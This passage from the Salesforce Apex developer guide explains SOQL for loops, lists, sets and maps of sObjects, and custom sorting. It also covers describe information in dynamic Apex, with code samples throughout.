Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    j = tmp.size();
    i++;
}
System.assert(j == 3); // The lt should have contained the three accounts
                       // named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
                       // only three records should have been returned, the
                       // loop should have executed only once

// Revert the database to the original state
Database.rollback(sp);

```

 Note:

- The **break** and **continue** keywords can be used in both types of inline query **for** loop formats. When using the sObject list format, **continue** skips to the next list of sObjects.
- DML statements can only process up to 10,000 records at a time, and sObject list **for** loops process records in batches of 200. Consequently, if you're inserting, updating, or deleting more than one record per returned record in an sObject list **for** loop, it's possible to encounter runtime limit's errors. See Execution Governors and Limits.
- You may get a `QueryException` in a SOQL **for** loop with the message `Aggregate query has too many rows for direct assignment, use FOR loop`. This exception is sometimes thrown when accessing a large set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For example, the query in the following SOQL **for** loop retrieves child contacts for a particular account. If this account contains more than 200 child contacts, the statements in the **for** loop cause an exception.

```

for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
                    FROM Account WHERE Id IN ('<ID value>')]) {
    List<Contact> contactList = acct.Contacts; // Causes an error
    Integer count = acct.Contacts.size(); // Causes an error
    // Note: If JSON.serialize() is used here on acct, the resulting JSON won't have
    // the complete set of Contacts
}

```

To avoid getting this exception, use a **for** loop to iterate over the child records, as follows.

```

for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
                    FROM Account WHERE Id IN ('<ID value>')]) {
    Integer count=0;
    for (Contact c : acct.Contacts) {

```

```
        count++;  
    }  
}
```

In this example, if `JSON.serialize()` is used on `acct`, only the records that have been retrieved so far will be returned and serialized. Because the Apex SOQL for-loop mechanism is designed to minimize the amount of heap usage by keeping only a subset of the record data in memory, the complete `sObject` and any subquery `sObjects` will not be available to obtain complete serialization.

sObject Collections

You can manage `sObjects` in lists, sets, and maps.

[Lists of sObjects](#)

Lists can contain `sObjects` among other types of elements. Lists of `sObjects` can be used for bulk processing of data.

[Sorting Lists of sObjects](#)

Using the `List.sort` method, you can sort lists of `sObjects`.

[Expanding sObject and List Expressions](#)

[Sets of Objects](#)

Sets can contain `sObjects` among other types of elements.

[Maps of sObjects](#)

Map keys and values can be of any data type, including `sObject` types, such as `Account`.

Lists of sObjects

Lists can contain `sObjects` among other types of elements. Lists of `sObjects` can be used for bulk processing of data.

You can use a list to store `sObjects`. Lists are useful when working with SOQL queries. SOQL queries return `sObject` data and this data can be stored in a list of `sObjects`. Also, you can use lists to perform bulk operations, such as inserting a list of `sObjects` with one call.

To declare a list of `sObjects`, use the `List` keyword followed by the `sObject` type within `<>` characters. For example:

```
// Create an empty list of Accounts  
List<Account> myList = new List<Account>();
```

Auto-populating a List from a SOQL Query

You can assign a `List` variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records returned. Make sure that the declared `List` variable contains the same `sObject` that is being queried. Or you can use the generic `sObject` data type.

This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000 returns account records containing the `Id` and `Name` fields.

```
// Create a list of account records from a SOQL query  
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];
```

Adding and Retrieving List Elements

As with lists of primitive data types, you can access and set elements of sObject lists using the `List` methods provided by Apex. For example:

```
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a); // Add the account sObject
Account a2 = myList.get(0); // Retrieve the element at index 0
```

Bulk Processing

You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.

```
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Account(Name='Account1');
Account a2 = new Account(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
```

 **Note:** If you perform a bulk insert of Knowledge article versions, make the ownerId of all records the same.

Record ID Generation

Apex automatically generates IDs for each object in an sObject list that was inserted or upserted using DML. Therefore, a list that contains more than one instance of an sObject cannot be inserted or upserted even if it has a `null` ID. This situation would imply that two IDs would need to be written to the same structure in memory, which is illegal.

For example, the `insert` statement in the following block of code generates a `ListException` because it tries to insert a list with two references to the same sObject (a):

```
try {

    // Create a list with two references to the same sObject element
    Account a = new Account();
    List<Account> accs = new List<Account>{a, a};

    // Attempt to insert it...
    insert accs;

    // Will not get here
    System.assert(false);
} catch (ListException e) {
    // But will get here
}
```

Using Array Notation for One-Dimensional Lists of sObjects

Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.

This example declares a list of accounts using the array notation.

```
Account[] accts = new Account[1];
```

This example adds an element to the list using square brackets.

```
accts[0] = new Account(Name='Acme2');
```

These examples also use the array notation with sObject lists.

Example	Description
<pre>List<Account> accts = new Account[]{};</pre>	Defines an Account list with no elements.
<pre>List<Account> accts = new Account[] {new Account(), null, new Account()};</pre>	Defines an Account list with memory allocated for three Accounts: a new Account object in the first position, <code>null</code> in the second, and another new Account object in the third.
<pre>List<Contact> contacts = new List<Contact> (otherList);</pre>	Defines the Contact list with a new list.

Sorting Lists of sObjects

Using the `List.sort` method, you can sort lists of sObjects.

For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. You can create a custom sort order for sObjects by wrapping your sObject in an Apex class that implements the `Comparable` interface. You can also create a custom sort order by passing a class that implements `Comparator` as a parameter to the sort method. See [Custom Sort Order of sObjects](#).

Default Sort Order of sObjects

The `List.sort` method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified labels or fields. The following is the comparison sequence used:

1. The label of the sObject type.
For example, an Account sObject appears before a Contact.
2. The Name field, if applicable.
For example, if the list contains two accounts named Alpha and Beta, account Alpha comes before account Beta.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and FieldB, the value of FieldA is used first for sorting.

Not all steps in this sequence are necessarily carried out. For example, a list containing two sObjects of the same type and with unique Name values is sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject doesn't have a Name field, sorting proceeds to step 3 to sort by standard fields.

For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.

Here's an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining accounts because the Industry field comes before the Site field in alphabetical order.

```
Account[] acctList = new List<Account>();
acctList.add( new Account (
    Name='sForce',
    Industry='Biotechnology',
    Site='Austin' ));
acctList.add(new Account (
    Name='sForce',
    Industry='Agriculture',
    Site='New York' ));
acctList.add(new Account (
    Name='Acme' ));
System.debug(acctList);

acctList.sort();
Assert.areEqual('Acme', acctList[0].Name);
Assert.areEqual('sForce', acctList[1].Name);
Assert.areEqual('Agriculture', acctList[1].Industry);
Assert.areEqual('sForce', acctList[2].Name);
Assert.areEqual('Biotechnology', acctList[2].Industry);
System.debug(acctList);
```

This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name field is used to place the Notebooks merchandise ahead of Pens in the list. Because there are two merchandise sObjects with the Name field value of Pens, the Description field is used to sort these remaining merchandise items. The Description field is used for sorting because it comes before the Price and Total_Inventory fields in alphabetical order.

```
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c (
    Name='Pens',
    Description__c='Red pens',
    Price__c=2,
    Total_Inventory__c=1000));
merchList.add( new Merchandise__c (
    Name='Notebooks',
    Description__c='Cool notebooks',
    Price__c=3.50,
    Total_Inventory__c=2000));
merchList.add( new Merchandise__c (
    Name='Pens',
    Description__c='Blue pens',
    Price__c=1.75,
    Total_Inventory__c=800));
System.debug(merchList);

merchList.sort();
Assert.areEqual('Notebooks', merchList[0].Name);
```

```
Assert.areEqual('Pens', merchList[1].Name);
Assert.areEqual('Blue pens', merchList[1].Description__c);
Assert.areEqual('Pens', merchList[2].Name);
Assert.areEqual('Red pens', merchList[2].Description__c);
System.debug(merchList);
```

Custom Sort Order of sObjects

To create a custom sort order for sObjects in lists, implement the `Comparator` interface and pass it as a parameter to the `List.sort` method.

Alternatively, create a wrapper class for the sObject and implement the `Comparable` interface. The wrapper class contains the sObject in question and implements the `Comparable.compareTo` method in which you specify the sort logic.



Example: This example implements the `Comparator` interface to compare two opportunities based on the Amount field.

```
public class OpportunityComparator implements Comparator<Opportunity> {
    public Integer compare(Opportunity o1, Opportunity o2) {
        // The return value of 0 indicates that both elements are equal.
        Integer returnValue = 0;

        if(o1 == null && o2 == null) {
            returnValue = 0;
        } else if(o1 == null) {
            // nulls-first implementation
            returnValue = -1;
        } else if(o2 == null) {
            // nulls-first implementation
            returnValue = 1;
        } else if ((o1.Amount == null) && (o2.Amount == null)) {
            // both have null Amounts
            returnValue = 0;
        } else if (o1.Amount == null){
            // nulls-first implementation
            returnValue = -1;
        } else if (o2.Amount == null){
            // nulls-first implementation
            returnValue = 1;
        } else if (o1.Amount < o2.Amount) {
            // Set return value to a negative value.
            returnValue = -1;
        } else if (o1.Amount > o2.Amount) {
            // Set return value to a positive value.
            returnValue = 1;
        }
        return returnValue;
    }
}
```

This test sorts a list of `Comparator` objects and verifies that the list elements are sorted by the opportunity amount.

```
@isTest
private class OpportunityComparator_Test {

    @isTest
```



```

static void sortViaComparator() {
    // Add the opportunity wrapper objects to a list.
    List<Opportunity> oppyList = new List<Opportunity>();
    Date closeDate = Date.today().addDays(10);
    oppyList.add( new Opportunity(
        Name='Edge Installation',
        CloseDate=closeDate,
        StageName='Prospecting',
        Amount=50000));
    oppyList.add( new Opportunity(
        Name='United Oil Installations',
        CloseDate=closeDate,
        StageName='Needs Analysis',
        Amount=100000));
    oppyList.add( new Opportunity(
        Name='Grand Hotels SLA',
        CloseDate=closeDate,
        StageName='Prospecting',
        Amount=25000));
    oppyList.add(null);

    // Sort the objects using the Comparator implementation
    oppyList.sort(new OpportunityComparator());
    // Verify the sort order
    Assert.isNull(oppyList[0]);
    Assert.areEqual('Grand Hotels SLA', oppyList[1].Name);
    Assert.areEqual(25000, oppyList[1].Amount);
    Assert.areEqual('Edge Installation', oppyList[2].Name);
    Assert.areEqual(50000, oppyList[2].Amount);
    Assert.areEqual('United Oil Installations', oppyList[3].Name);
    Assert.areEqual(100000, oppyList[3].Amount);
    // Write the sorted list contents to the debug log.
    System.debug(oppyList);
}
}

```



Example: This example shows how to create a wrapper `Comparable` class for `Opportunity`. The implementation of the `compareTo` method in this class compares two opportunities based on the `Amount` field—the class member variable contained in this instance, and the opportunity object passed into the method.

```

public class OpportunityWrapper implements Comparable {

    public Opportunity oppy;

    // Constructor
    public OpportunityWrapper(Opportunity op) {
        // Guard against wrapping a null
        if(op == null) {
            Exception ex = new NullPointerException();
            ex.setMessage('Opportunity argument cannot be null');
            throw ex;
        }
        oppy = op;
    }
}

```

```

// Compare opportunities based on the opportunity amount.
public Integer compareTo(Object compareTo) {
    // Cast argument to OpportunityWrapper
    OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;

    // The return value of 0 indicates that both elements are equal.
    Integer returnValue = 0;
    if ((oppy.Amount == null) && (compareToOppy.oppy.Amount == null)) {
        // both wrappers have null Amounts
        returnValue = 0;
    } else if ((oppy.Amount == null) && (compareToOppy.oppy.Amount != null)) {
        // nulls-first implementation
        returnValue = -1;
    } else if ((oppy.Amount != null) && (compareToOppy.oppy.Amount == null)) {
        // nulls-first implementation
        returnValue = 1;
    } else if (oppy.Amount > compareToOppy.oppy.Amount) {
        // Set return value to a positive value.
        returnValue = 1;
    } else if (oppy.Amount < compareToOppy.oppy.Amount) {
        // Set return value to a negative value.
        returnValue = -1;
    }
    return returnValue;
}
}

```

This test sorts a list of OpportunityWrapper objects and verifies that the list elements are sorted by the opportunity amount.

```

@isTest
private class OpportunityWrapperTest {
    static testmethod void test1() {
        // Add the opportunity wrapper objects to a list.
        OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
        Date closeDate = Date.today().addDays(10);
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Edge Installation',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=50000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='United Oil Installations',
            CloseDate=closeDate,
            StageName='Needs Analysis',
            Amount=100000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Grand Hotels SLA',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=25000)));

        // Sort the wrapper objects using the implementation of the
        // compareTo method.
        oppyList.sort();
    }
}

```

```

        // Verify the sort order
        Assert.AreEqual('Grand Hotels SLA', oppyList[0].oppy.Name);
        Assert.AreEqual(25000, oppyList[0].oppy.Amount);
        Assert.AreEqual('Edge Installation', oppyList[1].oppy.Name);
        Assert.AreEqual(50000, oppyList[1].oppy.Amount);
        Assert.AreEqual('United Oil Installations', oppyList[2].oppy.Name);
        Assert.AreEqual(100000, oppyList[2].oppy.Amount);

        // Write the sorted list contents to the debug log.
        System.debug(oppyList);
    }
}

```

SEE ALSO:[Apex Reference Guide: Collator Class](#)[Apex Reference Guide: Comparable Interface](#)[Apex Reference Guide: Comparator Interface](#)

Expanding sObject and List Expressions

As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions. In the following example, a new variable containing the length of the new account name is assigned to `acctNameLength`.

```
Integer acctNameLength = new Account[] {new Account (Name='Acme') } [0].Name.length();
```

In the above, `new Account []` generates a list.

The list is populated with one element by the `new` statement `{new Account (name='Acme') }`.

Item 0, the first item in the list, is then accessed by the next part of the string `[0]`.

The name of the sObject in the list is accessed, followed by the method returning the length `name.length()`.

In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first element (at index 0) is accessed through `[0]`. Next, the `Name` field is accessed and converted to lowercase with this expression `.Name.toLowerCase()`.

```
String nameChange = [SELECT Name FROM Account] [0].Name.toLowerCase();
```

Sets of Objects

Sets can contain sObjects among other types of elements.

Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects' fields. For example, if you try to add two accounts with the same name to a set, with no other fields set, only one sObject is added to the set.

```

// Create two accounts, a1 and a2
Account a1 = new account (name='MyAccount');
Account a2 = new account (name='MyAccount');

// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};

```

```
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);
```

If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.

```
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');

// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);
```



Warning: If set elements are objects, and these objects change after being added to the collection, they won't be found anymore when using, for example, the `contains` or `containsAll` methods, because of changed field values.

Maps of sObjects

Map keys and values can be of any data type, including sObject types, such as Account.

Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys are of type ID and whose values are of type Account.

```
Map<ID, Account> m = new Map<ID, Account>();
```

As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace (`{ }`) syntax. Within the curly braces, specify the key first, then specify the value for that key using `=>`. This example creates a map of integers to accounts lists and adds one entry using the account list created earlier.

```
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
```

Maps allow sObjects in their keys. You must use sObjects in the keys only when the sObject field values won't change.

Auto-Populating Map Entries from a SOQL Query

When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key must be declared with an ID or String data type, and the map value must be declared as an sObject data type.

This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their `Id` and `Name` fields. The `new` operator uses the returned list of accounts to create a map.

```
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keySet()) {
    Account a = m.get(idKey);
    System.debug(a);
}
```

One common usage of this map type is for in-memory “joins” between two tables.

 **Note:** RecentlyViewed records for users who are members of several communities can't be retrieved automatically into a map via Apex. This is because records of a user with different networks can result in duplicate IDs that maps don't support. For more information, see [RecentlyViewed](#).

Using Map Methods

The `Map` class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements. This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.

```
Account myAcct = new Account(); //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct); // Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1); // Retrieve a value, given a particular key
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
```

[sObject Map Considerations](#)

sObject Map Considerations

Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns `null`. This is because the modified sObject isn't found in the map due to different field values. This can occur if you explicitly change a field on the sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the ID field autofilled. Attempting to fetch this Object from a map to which it was added before the `insert` operation won't yield the map entry, as shown in this example.

```
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};

// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);

// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);

// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));
```

Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject. If those triggers share a static map defined in a class, and the sObjects in `Trigger.New` are added to this map in the before trigger, the sObjects in `Trigger.New` in the after trigger aren't found in the map because the two sets of sObjects differ by the fields that are autofilled. The sObjects in `Trigger.New` in the after trigger have system fields populated after insertion, namely: ID, CreatedDate, CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.

Dynamic Apex

Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:

- [Access sObject and field describe information](#)

Describe information provides metadata information about sObject and field properties. For example, the describe information for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value, whether it is a calculated field, the type of the field, and so on.

Note that describe information provides information about *objects* in an organization, not individual records.

- [Access Salesforce app information](#)

You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds to a collection of tabs. Describe information for an app includes the app's label, namespace, and tabs. Describe information for a tab includes the sObject associated with the tab, tab icons and colors.

- [Write dynamic SOQL queries, dynamic SOSL queries](#) and [dynamic DML](#)

Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while *dynamic DML* provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are installed from AppExchange.

1. [Understanding Apex Describe Information](#)
2. [Using Field Tokens](#)
3. [Understanding Describe Information Permissions](#)
4. [Describing sObjects Using Schema Method](#)
5. [Describing Tabs Using Schema Methods](#)
6. [Accessing All sObjects](#)
7. [Accessing All Data Categories Associated with an sObject](#)
8. [Dynamic SOQL](#)
9. [Dynamic SOSL](#)
10. [Dynamic DML](#)

Understanding Apex Describe Information

You can describe sObjects either by using tokens or the `describeSObjects` Schema method.

Apex provides two data structures and a method for sObject and field describe information:

- *Token*—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.

- The `describeObjects` method—a method in the `Schema` class that performs describes on one or more sObject types.
- *Describe result*—an object of type `Schema.DescribeObjectResult` that contains all the describe properties for the sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing the describe, using either the sObject token or the `describeObjects` method.

Describing sObjects Using Tokens

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method `getDescribe` which returns the describe result for that token. On the describe result, the `getSObjectType` and `getSObjectField` methods return the tokens for sObject and field, respectively.

Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using the equality operator (`==`) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or a custom calculated field.

The following code provides a general example of how to use tokens and describe results to access information about sObject and field properties:

```
// Create a new account as the generic type sObject
sObject s = new Account();

// Verify that the generic sObject is an Account sObject
System.assert(s.getSObjectType() == Account.sObjectType);

// Get the sObject describe result for the Account object
Schema.DescribeObjectResult dsr = Account.sObjectType.getDescribe();

// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();
```

The following algorithm shows how you can work with describe information in Apex:

1. Generate a list or map of tokens for the sObjects in your organization (see [Accessing All sObjects](#).)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see [Accessing All Field Describe Results for an sObject](#).)
5. Generate the describe result for the field the code needs to access.

Using sObject Tokens

sObjects, such as `Account` and `MyCustomObject__c`, act as static classes with special static methods and member variables for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the describe result.

To access the token for an sObject, use one of the following methods:

- Access the `sObjectType` member variable on an sObject type, such as `Account`.

- Call the `getSObjectType` method on an `sObject` describe result, an `sObject` variable, a list, or a map.

`Schema.SObjectType` is the data type for an `sObject` token.

In the following example, the token for the `Account` `sObject` is returned:

```
Schema.SObjectType t = Account.SObjectType;
```

The following also returns a token for the `Account` `sObject`:

```
Account a = new Account();
Schema.SObjectType t = a.getSObjectType();
```

This example can be used to determine whether an `sObject` or a list of `sObjects` is of a particular type:

```
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.SObjectType);

// Create a list of generic sObjects
List<SObject> sobjList = new Account[]{};

// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.SObjectType);
```

Some standard `sObjects` have a field called `sObjectType`, for example, `AssignmentRule`, `QueueSObject`, and `RecordType`. For these types of `sObjects`, always use the `getSObjectType` method for retrieving the token. If you use the property, for example, `RecordType.SObjectType`, the field is returned.

Obtaining `sObject` Describe Results Using Tokens

To access the describe result for an `sObject`, use one of the following methods:

- Call the `getDescribe` method on an `sObject` token.
- Use the `Schema.SObjectType` static variable with the name of the `sObject`. For example, `Schema.SObjectType.Lead`.

`Schema.DescribeSObjectResult` is the data type for an `sObject` describe result.

The following example uses the `getDescribe` method on an `sObject` token:

```
Schema.DescribeSObjectResult dsr = Account.SObjectType.getDescribe();
```

The following example uses the `Schema.SObjectType` static member variable:

```
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
```

For more information about the methods available with the `sObject` describe result, see [DescribeSObjectResultClass](#).

SEE ALSO:

[DescribeSObjectResult.fields\(\)](#)
[DescribeSObjectResult.fieldsets\(\)](#)

Using Field Tokens

To access the token for a field, use one of the following methods:

- Access the static member variable name of an sObject static type, for example, `Account.Name`.
- Call the `getSObjectField` method on a field describe result.

The field token uses the data type `Schema.SObjectField`.

In the following example, the field token is returned for the Account object's Description field:

```
Schema.SObjectField fieldToken = Account.Description;
```

In the following example, the field token is returned from the field describe result:

```
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();
```

 **Note:** Field tokens aren't available for person accounts. If you access `Schema.Account.fieldname`, you get an exception error. Instead, specify the field name as a string.

Using Field Describe Results

To access the describe result for a field, use one of the following methods:

- Call the `getDescribe` method on a field token.
- Access the `fields` member variable of an sObject token with a field member variable (such as `Name`, `BillingCity`, and so on.)

The field describe result uses the data type `Schema.DescribeFieldResult`.

The following example uses the `getDescribe` method:

```
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
```

This example uses the `fields` member variable method:

```
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
```

In the example above, the system uses special parsing to validate that the final member variable (`Name`) is valid for the specified sObject at compile time. When the parser finds the `fields` member variable, it looks backwards to find the name of the sObject (`Account`). It validates that the field name following the `fields` member variable is legitimate. The `fields` member variable only works when used in this manner.

 **Note:** Don't use the `fields` member variable without also using either a field member variable name or the `getMap` method. For more information on `getMap`, see the next section.

For more information about the methods available with a field describe result, see [DescribeFieldResultClass](#).

Accessing All Field Describe Results for an sObject

Use the field describe result's `getMap` method to return a map that represents the relationship between all the field names (keys) and the field tokens (values) for an sObject.

The following example generates a map that can be used to access a field by name:

```
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();
```

 **Note:** The value type of this map is not a field describe result. Using the describe results would take too many system resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe result for it.

The map has the following characteristics:

- It is dynamic, that is, it is generated at runtime on the fields for that sObject.
- All field names are case insensitive.
- The keys use namespaces as required.
- The keys reflect whether the field is a custom object.

Field Describe Considerations

Note the following when describing fields.

- A field describe that's executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in the installing organization. This is not true if the field describe is executed from a class that's not within an installed managed package.
- When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version, components of a geolocation field are returned even if the class is saved in an earlier API version.

Versioned Behavior Changes

In API version 34.0 and later, `Schema.DescribeSObjectResult` on a custom `SObjectType` includes map keys prefixed with the namespace, even if the namespace is that of currently executing code. If you work with multiple namespaces and generate runtime describe data, make sure that your code accesses keys correctly using the namespace prefix.

SEE ALSO:

[DescribeSObjectResult.fields\(\)](#)

[DescribeSObjectResult.fieldsets\(\)](#)

Understanding Describe Information Permissions

Apex classes run in user mode by default, which means that user permissions on objects and field-level security are respected. A user cannot run code that tries to access fields or objects that are hidden from the user.

User permissions also matter when you execute describe calls in an anonymous block. As a result, not all sObjects and fields can be looked up if access is restricted for the running user. For example, if you describe account fields in an anonymous block and you don't have access to all fields, not all fields are returned.

SEE ALSO:

[Anonymous Blocks](#)

[Managed Package Types](#)

Describing sObjects Using Schema Method

As an alternative to using tokens, you can describe sObjects by calling the `describeSObjects` Schema method and passing one or more sObject type names for the sObjects you want to describe.

This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.

```
// sObject types to describe
String[] types = new String[]{ 'Account', 'Merchandise__c' };

// Make the describe call
Schema.DescribeSObjectResult[] results = Schema.describeSObjects(types);

System.debug('Got describe information for ' + results.size() + ' sObjects.');
```

```
// For each returned result, get some info
for(Schema.DescribeSObjectResult res : results) {
    System.debug('sObject Label: ' + res.getLabel());
    System.debug('Number of fields: ' + res.fields.getMap().size());
    System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
```

```
    // Get child relationships
    Schema.ChildRelationship[] rels = res.getChildRelationships();
    if (rels.size() > 0) {
        System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
```

```
    }
}
```

SEE ALSO:

[DescribeSObjectResult.fields\(\)](#)

[DescribeSObjectResult.fieldsets\(\)](#)

Describing Tabs Using Schema Methods

You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call in Apex. Also, you can get more detailed information about each tab. Use the `describeTabs` Schema method and the `getTabs` method in `Schema.DescribeTabSetResult`, respectively.

This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab describe information is written to the debug output.

```
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
    String appLabel = tsr.getLabel();
    System.debug('Label: ' + appLabel);
    System.debug('Logo URL: ' + tsr.getLogoUrl());
    System.debug('isSelected: ' + tsr.isSelected());
    String ns = tsr.getNamespace();
```

```

    if (ns == '') {
        System.debug('The ' + appLabel + ' app has no namespace defined.');
```

```
    }
    else {
        System.debug('Namespace: ' + ns);
    }

    // Display tab info for the Sales app
    if (appLabel == 'Sales') {
        List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
        System.debug('-- Tab information for the Sales app --');
        for (Schema.DescribeTabResult tr : tabDesc) {
            System.debug('getLabel: ' + tr.getLabel());
            System.debug('getColors: ' + tr.getColors());
            System.debug('getIconUrl: ' + tr.getIconUrl());
            System.debug('getIcons: ' + tr.getIcons());
            System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
            System.debug('getObjectName: ' + tr.getObjectName());
            System.debug('getUrl: ' + tr.getUrl());
            System.debug('isCustom: ' + tr.isCustom());
        }
    }
}

// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL:
https://MyDomainName.my.salesforce.com/img/seasonLogos/2014_winter_aloha.png
